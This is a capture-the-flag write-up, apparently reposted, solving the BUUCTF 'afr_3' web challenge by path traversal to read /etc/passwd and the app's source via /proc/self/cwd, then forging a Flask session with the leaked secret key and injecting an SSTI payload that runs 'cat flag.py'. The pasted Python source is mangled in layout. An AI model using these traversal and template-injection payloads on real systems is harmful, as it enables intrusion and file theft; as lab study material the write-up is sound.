BUUCTF[第一章 web入門]afr_3 1


考點:

  1.linux系統命令

  2.flask之ssti模板注入

  3.sisson偽造

進入靶場:

隨便輸入一個值,提交查詢。

 

發現article可點擊。

 name參數值可以更改,利用這個name參數獲取當前執行系統命令

payload:name=../../../etc/passwd

 在Linux /etc/passwd文件中每個用戶都有一個對應的記錄行,它記錄了這個用戶的一些基本屬性。

 嘗試讀取flag

讀取不到flag,

(參考):

  /proc詳解 - 苦澀的茶 - 博客園 (cnblogs.com) 

  (24條消息) linux進程與它的文件描述符、/proc/self 表示當前進程目錄、lsof_be happy-CSDN博客_/proc/self/fd

Linux內核源代碼情景分析-特殊文件系統/proc-對/proc/self/cwd的訪問

/proc/sched_debug # 提供cpu上正在運行的進程信息,可以獲得進程的pid號,可以配合后面需要pid的利用
/proc/mounts # 掛載的文件系統列表
/proc/net/arp # arp表,可以獲得內網其他機器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活動連接的信息
/proc/net/fib_trie # 路由緩存
/proc/version  # 內核版本
/proc/[PID]/cmdline # 可能包含有用的路徑信息
/proc/[PID]/environ #  程序運行的環境變量信息,可以用來包含getshell
/proc/[PID]/cwd     # 當前進程的工作目錄
/proc/[PID]/fd/[#] # 訪問file descriptors,某寫情況可以讀取到進程正在使用的文件,比如access.log

使用/proc/self/cwd

payload: name=../../../proc/self/cmdline

 訪問這個路徑

要想辦法讀取這個文件,因為不知道當前的路徑,無法通過路徑讀取,所以通過當前進程的工作目錄來讀取

payload: name=../.././proc/self/cwd/server.py

 是一段python代碼

#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')#execfile() 函數可以用來執行一個文件。
execfile('key.py')
FLAG = flag
app.secret_key = key @ app.route("/n1page", methods=["GET", "POST"])


def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session[
    'n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) @ app.route("/", methods=["GET"])


def index(): return render_template("main.html") @ app.route('/article', methods=['GET'])


def article(): error = 0


if 'name' in request.args:
    page = request.args.get('name') else:
    page = 'article'
if page.find('flag') >= 0: page = 'notallowed.txt'
try:
    template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e:
    template = e
return render_template('article.html', template=template)
if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)

此代碼包含兩個文件:flag.py 和 key.py

flag在flag.py(flag被過濾)

flask的appkey在key.py 源碼里面存在ssti,

前提是可以偽造flask的session

 

(參考)

  1.flask之ssti模版注入從零到入門 - 先知社區 (aliyun.com)

  2.(24條消息) render()函數進行服務器端渲染(詳細)_Yanfengting的博客-CSDN博客_res.render()的參數是什么

分別讀取:

 開始偽造session

密鑰是  Drmhze6EPcv0fN_81Bj-nA

構造ssti模板注入

{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}

加密,加密的腳本獲取:

git clone https://github.com/noraj/flask-session-cookie-manager

得到加密后的字符串

添加cookie上傳

 得到flag.

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM